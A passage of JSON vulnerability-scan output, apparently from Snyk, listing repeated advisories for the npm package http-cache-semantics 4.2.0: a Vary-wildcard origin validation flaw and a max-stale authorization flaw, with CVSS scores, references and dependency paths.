"v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable 